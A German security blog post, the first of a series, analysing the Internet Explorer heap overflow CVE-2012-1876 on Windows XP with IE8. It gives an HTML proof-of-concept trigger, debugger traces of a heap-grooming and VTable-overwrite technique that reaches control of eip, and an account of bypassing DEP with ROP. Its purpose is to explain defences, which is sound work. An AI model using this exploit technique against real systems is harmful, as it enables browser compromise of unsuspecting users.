Dieser Artikel wurde von Renato Ettisberger geschrieben.
Einführung
Internet-Kriminelle nutzen „Drive-by-Angriffe“ seit längerem um Clients mit Schadcode zu infizieren, d.h. der Besuch einer infizierten Webseite reicht dazu bereits aus. Deshalb informiert SWITCH die Halter und Betreiber von infizierten Webseiten in der Schweiz und Liechtenstein und fordert sie auf, den Schadcode innert 24 Stunden zu entfernen.
Effektiver ist es jedoch, die Client-Systeme von vornherein besser vor Angriffen dieser Art zu schützen. Dies ist mit wenig Aufwand sehr wohl möglich. Anhand eines konkreten Beispiels zeigen wir in dieser Blog-Serie auf, welche Gegenmassnahmen standardmässig auf Windows-Systemen vorhanden sind und wie sie funktionieren. Im zweiten Teil gehen wir auf die Problematik der Plug-Ins ein und demonstrieren welche negativen Auswirkungen diese auf die Sicherheit eines aktuellen Windows-Systems haben können. Im abschliessenden Teil stellen wir schliesslich ein frei erhältliches Tool von Microsoft vor, das einen sehr effizienten Schutz vor Drive-by-Angriffen bieten kann.
Solche Angriffe sind für sämtliche Client-Betriebssysteme relevant: Von Windows über Mac OS X und Linux bis hin zu iOS (iPhone oder iPad) oder Android. Als Fallbeispiel für die Blog-Serie nehmen wir eine Schwachstelle in Internet Explorer 8 auf Windows XP und Windows 7. Der Grossteil des Inhaltes spricht sicherlich die Security-Spezialisten an. Im letzten Teil geben wir jedoch einfache Tipps für jedermann und zeigen, wie man seinen Windows-PC besser vor Angriffen aus dem Internet schützen kann.
Fallbeispiel: Schwachstelle in Internet Explorer
Will man die Wirksamkeit wie auch die Limitationen von Gegenmassnahmen aufzeigen, muss man dies anhand eines realen Beispiels diskutieren. Für unsere Blog-Serie nehmen wir dafür eine Schwachstelle in Internet Explorer 6-10 (CVE-2012-1876). Sie wurde von der französischen Firma VUPEN genutzt, um den Hacking-Wettbewerb „Pwn20wn“ 2012 in Vancouver für sich zu entscheiden. Ein Exploit für Windows XP, Windows Vista und Windows 7 ist in der Öffentlichkeit via Metasploit verfügbar, funktioniert aber bei Windows 7 beispielsweise nicht ohne Unterstützung externer Plug-Ins. Doch dazu mehr im zweiten Teil der Blog-Serie.
Detaillierte Informationen zur Schwachstelle sind im Blog-Post von VUPEN zu finden, unter anderem auch ein HTML-Beispiel-Code, der die Schwachstelle aufzeigt. Bei der Lücke handelt es sich um einen Heapoverflow. Vereinfacht gesagt kann ein Angreifer über einen vordefinierten Bereich hinaus Daten in den Speicher schreiben. Falls sich hinter dem vordefinierten Bereich „Management-Informationen“ befinden, die direkten Einfluss auf den weiteren Programmablauf haben, kann ein Angreifer den Programmablauf umlenken und seinen bösartigen Code ausführen.
In diesem spezifischen Fall können wir ebenfalls über einen Buffer hinausschreiben, allerdings befinden sich hinter dem Buffer keine interessanten Informationen, die sich überschreiben und somit nutzen lassen. Wir können dies mit dem folgenden HTML-Code aufzeigen:
<html> <head><title>Crash</title></head> <body> <script> function crash() { document.getElementById("m").span="1000"; } </script> <table style='table-layout:fixed' > <col id="m" span="1" width="1050632" > <tr> <td></td> </tr> <tr> <td></td> </tr> <tr> <td></td> </tr> </table> <input type="button" id="mem" value="Trigger" onclick="crash();" /> </body> </html>
Durch Klicken des Buttons „Trigger” wird der Overflow ausgelöst. Das heisst jedoch nicht, dass der Internet Explorer-Prozess auch abstürzt. Bei Heapoverflows wirkt sich der Fehler in den meisten Fällen erst sehr viel später aus – in einigen Fällen passiert gar nichts, d.h. der Browser stürzt nicht einmal ab.
Es ist deshalb entscheidend, den eigentlichen Ursprung der Schwachstelle zu identifizieren. Dazu eignet sich das Tool „gflags“. Damit können wir den Page-Heap für einen bestimmten Prozess setzen. Diese Massnahme detektiert Versuche, Daten über einen vordefinierten Speicherbereich hinauszuschreiben. Als Folge stürzt das Programm genau an der Stelle ab, an der der Speicherzugriffsfehler auftritt. Dies ist bei unserem Beispielcode zu sehen:
(82c.a94): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000009 ebx=07070024 ecx=64323209 edx=0004b25a esi=05061000 edi=05061018 eip=3d2c32cc esp=0336bed8 ebp=0336bee4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 mshtml!CTableColCalc::AdjustForCol+0x15: 3d2c32cc 890f mov dword ptr [edi],ecx ds:0023:05061018=????????
Der Wert in ecx wird an die Stelle kopiert, an die edi zeigt. Da der Page-Heap aktiviert ist, stürzt das Programm beim Versuch über einen vordefinierten Buffer hinauszuschreiben ab. Die Grösse dieses Buffers, referenziert durch edi, lässt sich wie folgt ermitteln:
0:008> !heap -p -a edi address 05061018 found in _DPH_HEAP_ROOT @ 151000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 4ee3978: 5060f90 70 - 5060000 2000 7c919c0c ntdll!RtlAllocateHeap+0x00000e64 3cf752fa mshtml!_HeapRealloc+0x00000036 3cf75355 mshtml!CImplAry::EnsureSizeWorker+0x000000a6
Die Grösse beträgt 70h. Dieser Wert berechnet sich aus dem Span-Ausgangswert, multipliziert mit 0x1c. Bei Span-Werten zwischen 0 und 4 ist die minimale Grösse des Buffers 70h, zumindest beim Internet Explorer 8. Beim IE9 beträgt der minimale Wert des Buffers 80h. Doch wie nutzt man diese Schwachstelle aus, wenn sich hinter dem Buffer nicht-definierbare Inhalte befinden?
Die Idee ist folgende: Wir platzieren hinter den Buffer ein Objekt. Damit schreiben wir nicht mehr in einen undefinierten Bereich, sondern wir überschreiben den Inhalt des Objektes. Ein Objekt weist als ersten Eintrag die VTable-Adresse auf. Durch Überschreiben dieser Adresse können wir auf eine von uns erstellte, gefälschte VTable zeigen. Um die Kontrolle über den Programmcode zu erlangen, müssen wir nur noch eine Funktion des Objektes aufrufen.
Doch wie können wir das Objekt hinter den Buffer platzieren? Schliesslich ist der Heap-Layout nicht vorhersehbar. Das funktioniert vereinfacht gesagt folgendermassen: Wir allozieren verschiedene JavaScript-Strings der Grösse 70h. Dann geben wir einen davon wieder frei und allozieren ein Objekt der Grösse 70h. Hier bietet sich beispielsweise das Style-Objekt an. Das Style-Objekt nimmt den freigewordenen Platz im Speicher ein. Danach geben wir wiederum einen String der Grösse 70h frei. Dieser muss sich vor dem allozierten Style-Objekt befinden. Der freigewordene Platz wird dann vom Buffer eingenommen, hinter dessen Bereich wir schreiben können. Das sieht dann etwa wie folgt aus:
1.) JavaScript-Strings der Grösse 70h allozieren
2.) Einen String freigeben und ein Style-Objekt erzeugen
3.) String vor dem Style-Objekt freigeben; Platz wird vom Buffer belegt
Im Debugger sieht das Ergebnis wie folgt aus:
0:008> dd edi l44 02965838 64323209 88888888 88888888 88888888 02965848 88888888 88888888 88888888 88888888 02965858 88888888 88888888 88888888 88888888 02965868 88888888 88888888 88888888 88888888 02965878 88888888 88888888 88888888 88888888 02965888 88888888 00008888 e87e284a ff080100 02965898 3cf76508 00000002 00000008 00000000 029658a8 00000000 10000000 00000000 00000000 029658b8 02966fc0 00000000 00000000 00227940 029658c8 0022c840 00000000 00000000 88888890 029658d8 00000000 00000000 00000000 3cf6f7ec 029658e8 00000000 00000000 00000000 3cf6f7ec 029658f8 00000000 00000000 00000000 00000000 02965908 e87e2879 ff080100 88888888 88888888 02965918 88888888 88888888 88888888 88888888 02965928 88888888 88888888 88888888 88888888 02965938 88888888 88888888 88888888 88888888
Die Zeichenfolgen 0x88888888 stammen von den erstellten Strings. An der Adresse 0x02965898 befindet sich das Style-Objekt mit der VTable-Adresse (3cf76508) als ersten Eintrag. Nach dem Overflow sieht derselbe Speicherbereich wie folgt aus:
0:008> dd 02965838 l44 02965838 70700248 07070024 07070024 07070024 02965848 88888888 88888888 88888888 70700248 02965858 07070024 07070024 07070024 88888888 02965868 88888888 88888888 70700248 07070024 02965878 07070024 07070024 88888888 88888888 02965888 88888888 70700248 07070024 07070024 02965898 07070024 00000002 00000008 00000000 029658a8 70700248 07070024 07070024 07070024 029658b8 02966fc0 00000000 00000000 70700248 029658c8 07070024 07070024 07070024 88888890 029658d8 00000000 00000000 70700248 07070024 029658e8 07070024 07070024 00000000 3cf6f7ec 029658f8 00000000 70700248 07070024 07070024 02965908 07070024 ff080100 88888888 88888888 02965918 70700248 07070024 07070024 07070024 02965928 88888888 88888888 88888888 70700248 02965938 07070024 07070024 07070024 88888888
Speziell in diesem Fall ist die Tatsache, das nicht alle Daten überschrieben werden. Der Wert 07070024 stammt aus dem width-Wert und ist somit unter unserer Kontrolle. Wie oben zu sehen ist, haben wir die VTable-Adresse des Style-Objektes an Adresse 0x02965898 mit diesem width-Wert überschrieben. Um die Kontrolle über den Programmablauf zu erlangen, müssen wir mittels Heapspray nur noch dafür sorgen, dass sich an der Adresse 0x07070024 unsere gefälschte VTable befindet.
0:008> t eax=02965898 ebx=3d3d9328 ecx=003cc498 edx=00000000 esi=02966fc0 edi=02a2b8d0 eip=3d067a93 esp=0162d08c ebp=0162d090 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CStyleElement::get_styleSheet+0x23: 3d067a93 8b10 mov edx,dword ptr [eax] ds:0023:02965898=07070024 0:008> dd eax 02965898 07070024 00000002 00000008 00000000
An der Stelle befindet sich unsere gefälschte VTable, derzeit noch mit Platzhalter-Werten bestückt:
0:008> dd edx 07070024 41414141 42424242 43434343 44444444 07070034 45454545 46464646 47474747 48484848 ...
Schliesslich erlangen wir damit die Kontrolle über eip und über den weiteren Programmablauf:
0:008> r eax=02965898 ebx=3d3d9328 ecx=003cc498 edx=07070024 esi=02966fc0 edi=02a2b8d0 eip=3d067a9c esp=0162d080 ebp=0162d090 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CStyleElement::get_styleSheet+0x2c: 3d067a9c ff92d8000000 call dword ptr [edx+0D8h] ds:0023:07070024=61616161 0:008> dd edx+d8 07070024 61616161 62626262 63636363 64646464
Windows XP mit IE8
Wir untersuchen die Schwachstelle als erstes auf Windows XP mit IE8. Relevant ist die Frage, ob und welche Gegenmassnahmen bereits standardmässig bei diesem System-Setup vorhanden sind, die einen Angriff verhindern oder zumindest erschweren. Bei Windows-Systemen sind der „Protected Mode“ und „DEP“ (Data Execution Prevention) speziell erwähnenswert:
Protected Mode
Der „Protected Mode“ verhindert oder erschwert den eigentlichen Angriff nicht, schränkt einen Angreifer jedoch in seinen Möglichkeiten ein. Vereinfacht gesagt hat er nur in vordefinierten Verzeichnissen Schreibrechte, d.h. die nachgeladene Schadsoftware kann sich nicht dauerhaft auf dem System festsetzen. Der Angreifer kann aber auf beinahe alle Dateien zugreifen und diese vom Zielsystem kopieren. Falls er zudem eine weitere Schwachstelle kennt, mit der er aus dem „Protected Mode“ ausbrechen kann, ist die vollständige Kontrolle über das System möglich.
Der „Protected Mode“ wird erst ab Windows Vista unterstützt. Somit kann sich ein Angreifer mittels eines Drive-by-Angriffs permanent auf einem Windows XP-System festsetzen.
DEP
Im Gegensatz zum „Protected Mode“ versucht DEP den Angriff selber zu verhindern. Dabei werden Speicherbereiche als nicht ausführbar markiert, mit dem Ziel, dass der vom Angreifer eingeschleuste Code nicht zur Ausführung gelangt. DEP lässt sich jedoch relativ einfach umgehen, indem der Angreifer in einem ersten Schritt Code ausführt, der sich bereits im Speicher befindet. Dieser Code stammt aus verschiedenen DLLs, die grundlegende Funktionen anbieten und bei jeder Applikation automatisch in den Speicher geladen werden. Beispiele von DLLs sind kernel32.dll, jscript.dll oder mshtml.dll. Bei Windows XP befinden sich diese DLLs an einer vorhersehbaren Adresse. Dies kann sich ein Angreifer zunutze machen und daraus Code-Sequenzen zusammenstellen, mit denen er entweder DEP deaktiviert oder einen neuen Speicherbereich als ausführbar konfiguriert. In den neuen Speicherbereich lädt er dann seinen eigentlichen Schadcode und führt diesen anschliessend aus.
Dieses Vorgehen nennt man „Return-Oriented Programming“ oder ROP. Dabei sucht man in einer oder mehreren DLLs nach brauchbaren Assembler-Anweisungen, auch ROP-Gadgets genannt, die von einem Return (Retn) gefolgt werden. Bei einem Return springt der Prozessor an diejenige Adresse, auf die der Stackpointer (esp) zeigt. Da der Angreifer mittels ROP den Stack-Inhalt kontrolliert, kann er so verschiedene Assembler-Anweisungen hintereinander ausführen. Das folgende Bild zeigt diesen Ansatz anhand des Metasploit-Modules für diese Schwachstelle:
Hier werden fixe Adressen aus der DLL msvcrt.dll verwendet. Damit wird die Funktion VirtualProtect() aufgerufen, die den Shellcode-Bereich als ausführbar markiert (rwx). Dieser Ansatz funktioniert zuverlässig für ein bestimmtes Windows XP-Setup, abhängig von der Sprache und dem Service-Pack-Level.
Das folgende Video zeigt, wie die Schwachstelle ausgenutzt werden kann indem zur Demonstration der Calculator gestartet wird. In der Realität würden die Angreifer natürlich nicht den Calculator starten, sondern im Hintergrund die Schad-Software installieren.
Fazit und Ausblick auf den nächsten Teil
In diesem Teil der Serie haben wir gesehen, welche Schutzmassnahmen bei Windows XP vorhanden sind und wie einfach jemand diese Massnahmen mit bekannten Methoden umgehen kann. Es wird somit klar, dass ein älteres Betriebssystem wie Windows XP und die dort implementierten Gegenmassnahmen keine grossen Hürden für einen Angreifer darstellen.
Im nächsten Teil zeigen wir auf, welche zusätzlichen Schutzmassnahmen bei Windows Vista und Windows 7 eingeführt wurden und wie wirkungsvoll diese sind. Wir werden aber auch sehen, dass man diese Massnahmen unter bestimmten Bedingungen trotzdem wieder aushebeln kann.